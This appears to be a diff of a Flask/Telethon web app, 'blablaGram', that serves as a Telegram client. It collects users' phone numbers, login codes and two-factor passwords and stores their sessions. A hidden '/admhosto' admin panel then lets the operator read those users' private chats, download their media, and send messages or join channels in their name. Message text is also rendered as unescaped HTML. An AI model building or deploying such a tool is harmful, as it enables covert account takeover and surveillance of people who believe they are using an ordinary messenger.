fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); z-index: 999; }@media (max-width: 768px) {.app-layout { flex-direction: column; }.sidebar { flex: 0 0 auto; width: 80%; max-width: 320px; height: 100vh; border-right: none; position: fixed; top: 0; left: 0; transform: translateX(-100%); box-shadow: 2px 0 10px rgba(0,0,0,0.2); }.sidebar.active { transform: translateX(0); }.chat-panel { width: 100%; height: 100vh; position: relative; }.sidebar-toggle-button.mobile-only { display: block; background: none; border: none; font-size: 1.5em; color: #2AABEE; cursor: pointer; padding: 0 10px; }.sidebar-header .actions { display: flex; align-items: center; }.chat-panel-header { padding: 15px 15px; }.chat-panel-header h2 { font-size: 1.1em; }.chat-input-area { padding: 10px 15px; }.message-item { max-width: 90%; }.chat-panel-header .header-actions { display: none; } /* Hide logout buttons on small mobile */.sidebar.active + .sidebar-backdrop { display: block; }}</style></head>1 unmodified line<div class="app-layout"><div class="sidebar" id="sidebar"><div class="sidebar-header"><button class="sidebar-toggle-button mobile-only" onclick="toggleSidebar()">☰</button><h2>blablaGram</h2><div class="actions"><button onclick="newMessage()" title="New Message">✎</button>4 unmodified lines<input type="text" id="joinChatIdentifier" placeholder="Join link or @username"><button onclick="joinChat()">Join</button></div><div style="padding: 10px 20px; border-top: 1px solid #E0E0E0; background: #FFFFFF; display: flex; justify-content: space-between;"><button onclick="logout(true)" style="background: #6C757D; width: 48%; padding: 8px 12px; font-size: 0.9em; border-radius: 6px; box-shadow: none;">Switch Account</button><button onclick="logout(false)" style="background: #DC3545; width: 48%; padding: 8px 12px; font-size: 0.9em; border-radius: 6px; box-shadow: none;">Logout</button></div></div><div class="sidebar-backdrop" onclick="toggleSidebar()"></div><div class="chat-panel" id="chatPanel"><div class="chat-panel-header" id="appHeader"><button class="sidebar-toggle-button mobile-only" onclick="toggleSidebar()" style="font-size: 1.8em;">←</button><div id="chat-header-info"><h2 id="chatTitle" style="display:none;"></h2></div>17 unmodified lines<script>let currentChatId = null;let oldestMessageId = null;let loadingMoreMessages = false;let hasMoreMessages = true;function toggleSidebar() {const sidebar = document.getElementById('sidebar');const backdrop = document.querySelector('.sidebar-backdrop');sidebar.classList.toggle('active');backdrop.classList.toggle('active', sidebar.classList.contains('active'));}function adjustTextareaHeight() {27 unmodified lineschatListDiv.appendChild(chatItem);});} else {chatListDiv.innerHTML = `<p style="padding: 20px; text-align: center; color: #777;">${result.message || 'No chats found.'}</p>`;}}async function selectChat(chatId) {if (currentChatId === chatId && document.getElementById('messagesContainer').style.display !== 'none') {if (window.innerWidth <= 768) { toggleSidebar(); }return;}currentChatId = chatId;oldestMessageId = null;hasMoreMessages = true;loadingMoreMessages = false;document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');7 unmodified linesdocument.getElementById('messagesContainer').style.display = 'flex';document.getElementById('chatInputArea').style.display = 'flex';const messagesContainer = document.getElementById('messagesContainer');messagesContainer.innerHTML = '<p class="message-loading">Loading messages...</p>';messagesContainer.scrollTop = messagesContainer.scrollHeight;await fetchMessages(currentChatId);if (window.innerWidth <= 768) {toggleSidebar();}}async function fetchMessages(chatId, offsetId = null) {if (loadingMoreMessages || (offsetId && !hasMoreMessages)) return;loadingMoreMessages = true;const messagesContainer = document.getElementById('messagesContainer');const initialLoad = (offsetId === null);if (initialLoad) {messagesContainer.innerHTML = '<p class="message-loading">Loading messages...</p>';} else {const loadingDiv = document.createElement('p');loadingDiv.className = 'message-loading';loadingDiv.id = 'loadingMore';loadingDiv.textContent = 'Loading more messages...';messagesContainer.prepend(loadingDiv);}const url = `/api/chat_messages/${chatId}${offsetId ? `?offset_id=${offsetId}` : ''}`;const response = await fetch(url);const result = await response.json();if (document.getElementById('loadingMore')) {document.getElementById('loadingMore').remove();}if (result.success && result.messages) {if (initialLoad) {messagesContainer.innerHTML = '';}if (result.messages.length === 0 && !initialLoad) {hasMoreMessages = false;messagesContainer.prepend(document.createElement('p').outerHTML = '<p class="message-loading">No more messages.</p>');}let newOldestMessageId = oldestMessageId;const scrollHeightBefore = messagesContainer.scrollHeight;result.messages.reverse().forEach(msg => {const messageItem = document.createElement('div');messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;let senderInfo = !msg.is_sent && msg.sender_name ? `<span class="message-sender">${msg.sender_name}</span>` : '';let mediaHtml = msg.file_name && !msg.file_name.startsWith('Download failed') ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';let metaHtml = `<div class="message-meta">${msg.date}</div>`;let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;if (initialLoad) {messagesContainer.prepend(messageItem);} else {messagesContainer.appendChild(messageItem);}if (newOldestMessageId === null || msg.id < newOldestMessageId) {newOldestMessageId = msg.id;}});oldestMessageId = newOldestMessageId;if (initialLoad) {messagesContainer.scrollTop = messagesContainer.scrollHeight;} else {const scrollHeightAfter = messagesContainer.scrollHeight;messagesContainer.scrollTop += (scrollHeightAfter - scrollHeightBefore);}} else {if (initialLoad) {messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;}}loadingMoreMessages = false;}document.getElementById('messagesContainer').addEventListener('scroll', () => {if (document.getElementById('messagesContainer').scrollTop <= 100 && hasMoreMessages && !loadingMoreMessages) {fetchMessages(currentChatId, oldestMessageId);}});async function newMessage() {const recipient = prompt("Enter recipient's username (e.g., @username) or chat ID:");19 unmodified linesconst message = messageInput.value;if (!message.trim()) return;const tempMessage = document.createElement('div');tempMessage.className = 'message-item sent';tempMessage.innerHTML = `<div class="message-text">${message.replace(/\\n/g, '<br>')}</div><div class="message-meta">Sending...</div>`;document.getElementById('messagesContainer').prepend(tempMessage);document.getElementById('messagesContainer').scrollTop = document.getElementById('messagesContainer').scrollHeight;messageInput.value = '';adjustTextareaHeight();const response = await fetch('/api/send_message', {method: 'POST',headers: { 'Content-Type': 'application/json' },1 unmodified line});const result = await response.json();if (result.success) {await fetchMessages(currentChatId, null); // Re-fetch to update with actual message from Telegram} else {alert('Failed to send message: ' + result.message);tempMessage.remove(); // Remove temporary message on failuremessageInput.value = message;adjustTextareaHeight();}12 unmodified linesformData.append('file', file);formData.append('caption', caption);const tempMessage = document.createElement('div');tempMessage.className = 'message-item sent';tempMessage.innerHTML = `<div class="message-text">Uploading: ${file.name}</div><div class="message-meta">Sending file...</div>`;document.getElementById('messagesContainer').prepend(tempMessage);document.getElementById('messagesContainer').scrollTop = document.getElementById('messagesContainer').scrollHeight;messageInput.value = '';fileInput.value = '';adjustTextareaHeight();const response = await fetch('/api/send_file', {method: 'POST',body: formData});const result = await response.json();if (result.success) {await fetchMessages(currentChatId, null);} else {alert('Failed to send file: ' + result.message);tempMessage.remove();}}async function joinChat() {const chatIdentifier = document.getElementById('joinChatIdentifier').value;if (!chatIdentifier.trim()) {alert('Please enter a channel/group username or invite link.');return;39 unmodified lines<meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>blablaGram - Admin Panel</title><link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet"><style>body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 25px; }.container { max-width: 1000px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); }h1, h2 { text-align: center; color: #2AABEE; margin-bottom: 25px; font-weight: 700; font-size: 2.2em; }h2 { font-size: 1.6em; margin-top: 35px; }table { width: 100%; border-collapse: collapse; margin-top: 25px; border-radius: 10px; overflow: hidden; box-shadow: 0 4px 15px rgba(0,0,0,0.05); }th, td { padding: 18px; border: 1px solid #EAEAEA; text-align: left; }th { background: #F8F8F8; color: #555; font-weight: 600; font-size: 0.95em; text-transform: uppercase; letter-spacing: 0.5px; }tr:nth-child(even) { background: #FDFDFD; }tr:hover { background: #E6F3FC; }a { color: #2AABEE; text-decoration: none; transition: color 0.3s ease; font-weight: 500; }a:hover { text-decoration: underline; }.back-button { margin-top: 40px; text-align: center; }.back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s ease; font-weight: 500; text-decoration: none; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }.back-button a:hover { background: #5A6268; transform: translateY(-2px); box-shadow: 0 6px 15px rgba(0,0,0,0.15); }@media (max-width: 768px) {body { padding: 15px; }.container { padding: 25px; border-radius: 12px; }h1 { font-size: 2em; margin-bottom: 20px; }h2 { font-size: 1.4em; margin-top: 25px; }table { font-size: 0.9em; }th, td { padding: 12px; }}</style></head>34 unmodified lines<meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Manage: {{ user.username or user.phone }}</title><link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet"><style>body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 25px; }.container { max-width: 1400px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.15); }h1, h2 { text-align: center; color: #2AABEE; margin-bottom: 20px; font-weight: 700; font-size: 2.2em; }.user-info { text-align: center; margin-bottom: 30px; font-size: 1.1em; color: #777; font-weight: 500; }.split-panel { display: flex; gap: 25px; margin-top: 25px; }.split-panel > div { flex: 1; background: #F9F9F9; padding: 25px; border-radius: 12px; border: 1px solid #EEE; box-shadow: 0 4px 15px rgba(0,0,0,0.05); }h2 { margin-top: 0; font-size: 1.5em; font-weight: 600; color: #333; margin-bottom: 20px; text-align: left;}input[type="text"], textarea { width: calc(100% - 24px); padding: 12px; margin: 8px 0; border: 1px solid #DDD; border-radius: 8px; background: #FFF; font-size: 0.95em; transition: border-color 0.3s, box-shadow 0.3s; }input[type="text"]:focus, textarea:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }textarea { resize: vertical; min-height: 80px; }button { background: #2AABEE; color: #fff; padding: 12px 20px; border: none; border-radius: 8px; cursor: pointer; font-size: 1.0em; font-weight: bold; margin-top: 15px; width: 100%; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.2s ease; box-shadow: 0 2px 5px rgba(42, 171, 238, 0.2); }button:hover { background: #1C91D0; transform: translateY(-1px); box-shadow: 0 4px 8px rgba(42, 171, 238, 0.3); }button:active { transform: translateY(0); box-shadow: 0 1px 3px rgba(42, 171, 238, 0.1); }.chat-list { max-height: 450px; overflow-y: auto; border: 1px solid #DDD; border-radius: 8px; background: #FFF; }.chat-list::-webkit-scrollbar { width: 8px; background-color: #F9F9F9; }.chat-list::-webkit-scrollbar-thumb { border-radius: 10px; background-color: #CCC; }.chat-item { padding: 14px 18px; border-bottom: 1px solid #EEE; cursor: pointer; transition: background 0.2s ease; }.chat-item:hover, .chat-item.active { background: #E6F3FC; }.chat-item:last-child { border-bottom: none; }.chat-item h3 { margin: 0; font-size: 1.05em; color: #1C1C1C; font-weight: 600; }.chat-item p { margin: 5px 0 0; font-size: 0.85em; color: #666; }.message-viewer { margin-top: 30px; background: #F9F9F9; padding: 30px; border-radius: 12px; border: 1px solid #EEE; box-shadow: 0 4px 15px rgba(0,0,0,0.05); }.messages-container { min-height: 200px; max-height: 500px; overflow-y: auto; padding: 15px; border: 1px solid #DDD; border-radius: 8px; background: #FFF; margin-top: 15px; display: flex; flex-direction: column-reverse; }.messages-container::-webkit-scrollbar { width: 8px; background-color: #F9F9F9; }.messages-container::-webkit-scrollbar-thumb { border-radius: 10px; background-color: #CCC; }.message-item { max-width: 80%; padding: 10px 14px; border-radius: 18px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; font-size: 0.9em; box-shadow: 0 1px 1px rgba(0,0,0,0.05); }.message-item.sent { background: #DCF8C6; align-self: flex-end; }.message-item.received { background: #F1F0F0; align-self: flex-start; }.message-sender { font-weight: bold; color: #2AABEE; margin-bottom: 4px; display: block; font-size: 0.9em; }.message-text { color: #111; }.message-meta { font-size: 0.7em; color: #999; margin-top: 5px; text-align: right; }.media-link { display: block; margin-top: 5px; color: #2AABEE; text-decoration: none; }.back-button { margin-top: 40px; text-align: center; }.back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease; font-weight: 500; text-decoration: none; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }.back-button a:hover { background: #5A6268; transform: translateY(-2px); box-shadow: 0 6px 15px rgba(0,0,0,0.15); }.clear-chat-selection { text-align: center; margin-top: 20px; }.clear-chat-selection button { background: #6C757D; color: #fff; width: auto; padding: 10px 20px; border-radius: 8px; box-shadow: none; }.clear-chat-selection button:hover { background: #5A6268; }.button.secondary { background: #28A745; margin-top: 10px; }.button.secondary:hover { background: #218838; }.message-loading { text-align: center; color: #777; margin: 10px 0; font-size: 0.9em; }@media (max-width: 768px) {body { padding: 15px; }.container { padding: 25px; border-radius: 12px; }h1 { font-size: 2em; margin-bottom: 15px; }.split-panel { flex-direction: column; gap: 20px; }.action-panel, .chat-list-panel, .message-viewer { padding: 20px; }h2 { font-size: 1.3em; margin-bottom: 15px; }input[type="text"], textarea, button { font-size: 0.9em; padding: 10px; }.chat-list, .messages-container { max-height: 300px; }.message-item { max-width: 90%; }}</style></head>9 unmodified lines<textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea><button onclick="sendMessage({{ user.id }})">Send Text Message</button><input type="file" id="sendFileInput" style="display: none;" onchange="handleFileSelect({{ user.id }})"><button onclick="document.getElementById('sendFileInput').click()" class="button secondary">Send File</button><h2 style="margin-top: 30px;">Join Chat</h2><input type="text" id="joinChatIdentifier" placeholder="Channel/Group link or @username">9 unmodified lines<p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p></div>{% else %}<p style="padding: 15px; text-align: center;">No chats found.</p>{% endfor %}</div><div class="clear-chat-selection"><button onclick="clearChatSelection()">Clear Selection</button></div>9 unmodified lines</div><script>let currentAdminChatId = null;let oldestAdminMessageId = null;let loadingMoreAdminMessages = false;let hasMoreAdminMessages = true;function clearChatSelection() {document.getElementById('messageViewer').style.display = 'none';document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));currentAdminChatId = null;oldestAdminMessageId = null;hasMoreAdminMessages = true;loadingMoreAdminMessages = false;}async function selectChat(userId, chatId, chatTitle) {if (currentAdminChatId === chatId && document.getElementById('messageViewer').style.display !== 'none') {return;}currentAdminChatId = chatId;oldestAdminMessageId = null;hasMoreAdminMessages = true;loadingMoreAdminMessages = false;document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');document.getElementById('messageViewer').style.display = 'block';document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}"`;const messagesContainer = document.getElementById('messagesContainer');messagesContainer.innerHTML = '<p class="message-loading">Loading messages...</p>';messagesContainer.scrollTop = messagesContainer.scrollHeight;await fetchAdminMessages(userId, chatId);}async function fetchAdminMessages(userId, chatId, offsetId = null) {if (loadingMoreAdminMessages || (offsetId && !hasMoreAdminMessages)) return;loadingMoreAdminMessages = true;const messagesContainer = document.getElementById('messagesContainer');const initialLoad = (offsetId === null);if (initialLoad) {messagesContainer.innerHTML = '<p class="message-loading">Loading messages...</p>';} else {const loadingDiv = document.createElement('p');loadingDiv.className = 'message-loading';loadingDiv.id = 'loadingMoreAdmin';loadingDiv.textContent = 'Loading more messages...';messagesContainer.prepend(loadingDiv);}const url = `/admhosto/user/${userId}/chat/${chatId}/messages${offsetId ? `?offset_id=${offsetId}` : ''}`;const response = await fetch(url);const result = await response.json();if (document.getElementById('loadingMoreAdmin')) {document.getElementById('loadingMoreAdmin').remove();}if (result.success && result.messages) {if (initialLoad) {messagesContainer.innerHTML = '';}if (result.messages.length === 0 && !initialLoad) {hasMoreAdminMessages = false;messagesContainer.prepend(document.createElement('p').outerHTML = '<p class="message-loading">No more messages.</p>');}let newOldestMessageId = oldestAdminMessageId;const scrollHeightBefore = messagesContainer.scrollHeight;result.messages.reverse().forEach(msg => {const messageItem = document.createElement('div');messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;let senderInfo = !msg.is_sent && msg.sender_name ? `<span class="message-sender">${msg.sender_name}</span>` : '';let mediaHtml = msg.file_name && !msg.file_name.startsWith('Download failed') ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';let metaHtml = `<div class="message-meta">${msg.date}</div>`;let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;if (initialLoad) {messagesContainer.prepend(messageItem);} else {messagesContainer.appendChild(messageItem);}if (newOldestMessageId === null || msg.id < newOldestMessageId) {newOldestMessageId = msg.id;}});oldestAdminMessageId = newOldestMessageId;if (initialLoad) {messagesContainer.scrollTop = messagesContainer.scrollHeight;} else {const scrollHeightAfter = messagesContainer.scrollHeight;messagesContainer.scrollTop += (scrollHeightAfter - scrollHeightBefore);}} else {if (initialLoad) {messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;}}loadingMoreAdminMessages = false;}document.getElementById('messagesContainer').addEventListener('scroll', () => {if (currentAdminChatId && document.getElementById('messagesContainer').scrollTop <= 100 && hasMoreAdminMessages && !loadingMoreAdminMessages) {fetchAdminMessages({{ user.id }}, currentAdminChatId, oldestAdminMessageId);}});async function sendMessage(userId) {const chatId = document.getElementById('sendMessageRecipient').value;const message = document.getElementById('sendMessageContent').value;if (!chatId || !message.trim()) { alert('Recipient and message are required.'); return; }const response = await fetch(`/admhosto/send_message/${userId}`, {method: 'POST',headers: { 'Content-Type': 'application/json' },4 unmodified linesif (result.success) {document.getElementById('sendMessageRecipient').value = '';document.getElementById('sendMessageContent').value = '';if (currentAdminChatId == chatId) {selectChat(userId, chatId, document.getElementById('messagesChatTitle').textContent.replace('Messages in "', '').replace('"', ''));}}}3 unmodified linesif (fileInput.files.length === 0) return;const file = fileInput.files[0];const chatId = document.getElementById('sendMessageRecipient').value;const caption = document.getElementById('sendMessageContent').value;if (!chatId) { alert('Recipient is required to send a file.'); return; }6 unmodified linesdocument.getElementById('sendMessageContent').value = '';fileInput.value = '';const response = await fetch(`/admhosto/send_file/${userId}`, {method: 'POST',body: formData});const result = await response.json();alert(result.message);if (result.success) {if (currentAdminChatId == chatId) {selectChat(userId, chatId, document.getElementById('messagesChatTitle').textContent.replace('Messages in "', '').replace('"', ''));}}}async function joinChat(userId) {const chatIdentifier = document.getElementById('joinChatIdentifier').value;if (!chatIdentifier.trim()) { alert('Identifier is required.'); return; }const response = await fetch(`/admhosto/join_chat/${userId}`, {method: 'POST',2 unmodified lines});const result = await response.json();alert(result.message);if (result.success) { location.reload(); }}</script></body>14 unmodified linesif not phone:return jsonify({'success': False, 'message': 'Phone number is required.'})session_hash = hashlib.md5(phone.encode()).hexdigest()session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session")18 unmodified linessession['user_id'] = user_db_idresult = {'success': True, 'message': 'Already logged in.', 'user_id': user_db_id}else:sent_code = await client.send_code_request(session['current_login_phone'])session['phone_code_hash'] = sent_code.phone_code_hashresult = {'success': True, 'message': 'Code sent. Please check your Telegram app.', 'phone_code_hash': sent_code.phone_code_hash}elif step == 'code':code = data.get('code')phone_code_hash = session.get('phone_code_hash')if not phone_code_hash:raise ValueError('Session expired, please try again.')try:me = await client.sign_in(phone=session['current_login_phone'], code=code, phone_code_hash=phone_code_hash)7 unmodified linesresult = {'success': True, 'message': 'Logged in successfully.', 'user_id': user_db_id}except SessionPasswordNeededError:result = {'success': False, 'password_required': True, 'message': 'Cloud password required for 2FA.'}except FloodWaitError as e:result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}except Exception as e:result = {'success': False, 'message': f'Invalid code or other error: {e}'}elif step == 'password':password = data.get('password')9 unmodified linesresult = {'success': True, 'message': 'Logged in with password.', 'user_id': user_db_id}except FloodWaitError as e:result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}except Exception as e:result = {'success': False, 'message': f'Invalid password or other error: {e}'}else:result = {'success': False, 'message': 'Invalid step.'}except FloodWaitError as e:result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}except Exception as e:result = {'success': False, 'message': f'An unexpected error occurred during login: {e}'}finally:if client.is_connected():await client.disconnect()49 unmodified linesfull_name = f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip()title = full_name if full_name else "Unnamed User"if dialog.entity.username:title += f" (@{dialog.entity.username})"elif isinstance(dialog.entity, Channel):chat_type = 'Channel'if hasattr(dialog.entity, 'participants_count'):6 unmodified linestitle = title if title else "Unknown Chat"chat_type = "Unknown"initial = title[0].upper() if title else '?'chats_info.append({'id': dialog.id,20 unmodified linesuser_id = session.get('user_id')if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401offset_id = request.args.get('offset_id', None, type=int)limit = request.args.get('limit', 50, type=int)async def _get_messages_async():client, error = await get_user_client(user_id)if error: return None, errormessages = []try:entity = await client.get_entity(peer_id)async for message in client.iter_messages(entity, limit=limit, max_id=offset_id):msg_data = {'id': message.id,'text': message.text,'date': message.date.strftime("%b %d, %H:%M"),'is_sent': message.out,'sender_name': 'Unknown'}if message.sender:if isinstance(message.sender, User):msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"elif hasattr(message.sender, 'title'):msg_data['sender_name'] = message.sender.titleelse:msg_data['sender_name'] = str(message.sender.id)8 unmodified lineselif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):file_name = f"photo_{message.media.photo.id}.jpg"file_info = await client.download_media(message, file=Path(DOWNLOAD_DIR) / file_name)if file_info:file_path = Path(file_info)msg_data['file_name'] = file_path.name2 unmodified linesexcept Exception as media_e:msg_data['file_name'] = f"Download failed: {media_e}"messages.append(msg_data)except Exception as e:return None, str(e)finally:if client and client.is_connected():await client.disconnect()return messages, Nonemessages, error = asyncio.run(_get_messages_async())if error:return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500return jsonify({'success': True, 'messages': messages})@app.route('/api/send_message', methods=['POST'])def api_send_message():13 unmodified linesreturn {'success': True, 'message': 'Message sent.'}except FloodWaitError as e:return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}except Exception as e:return {'success': False, 'message': str(e)}finally:25 unmodified linesreturn {'success': True, 'message': 'File sent.'}except FloodWaitError as e:return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}except Exception as e:return {'success': False, 'message': str(e)}finally:23 unmodified linesreturn {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}except (UserNotParticipantError, ValueError):return {'success': False, 'message': f'Failed to join. Already a member or invalid link/username.'}except Exception as e:return {'success': False, 'message': f'Error joining chat: {e}'}finally:30 unmodified lineselif isinstance(dialog.entity, User): chat_type = 'User'title = dialog.title if dialog.title else (f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip() if isinstance(dialog.entity, User) else "Unnamed Chat")chats_info.append({'id': dialog.id,13 unmodified lines@app.route('/admhosto/user/<int:user_id>/chat/<int:peer_id>/messages')def admhosto_get_chat_messages(user_id, peer_id):offset_id = request.args.get('offset_id', None, type=int)limit = request.args.get('limit', 50, type=int)async def _get_messages_async():client, error = await get_user_client(user_id)if error: return None, errormessages = []try:entity = await client.get_entity(peer_id)async for message in client.iter_messages(entity, limit=limit, max_id=offset_id):msg_data = {'id': message.id,'text': message.text,'date': message.date.strftime("%b %d, %H:%M"),'is_sent': message.out,'sender_name': 'Unknown'}if message.sender:if isinstance(message.sender, User):msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"elif hasattr(message.sender, 'title'):msg_data['sender_name'] = message.sender.titleelse:msg_data['sender_name'] = str(message.sender.id)8 unmodified lineselif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):file_name = f"photo_{message.media.photo.id}.jpg"file_info = await client.download_media(message, file=Path(DOWNLOAD_DIR) / file_name)if file_info:file_path = Path(file_info)msg_data['file_name'] = file_path.name2 unmodified linesexcept Exception as media_e:msg_data['file_name'] = f"Download failed: {media_e}"messages.append(msg_data)except Exception as e:return None, str(e)finally:if client and client.is_connected(): await client.disconnect()return messages, Nonemessages, error = asyncio.run(_get_messages_async())if error: return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500return jsonify({'success': True, 'messages': messages})@app.route('/admhosto/send_message/<int:user_id>', methods=['POST'])def admhosto_send_message(user_id):9 unmodified linesreturn {'success': True, 'message': 'Message sent.'}except FloodWaitError as e:return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}except Exception as e:return {'success': False, 'message': str(e)}finally:21 unmodified linesreturn {'success': True, 'message': 'File sent.'}except FloodWaitError as e:return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}except Exception as e:return {'success': False, 'message': str(e)}finally:17 unmodified linesreturn {'success': True, 'message': 'Successfully joined.'}except FloodWaitError as e:return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}except Exception as e:return {'success': False, 'message': f'Error joining: {e}'}finally:
app.py+355-496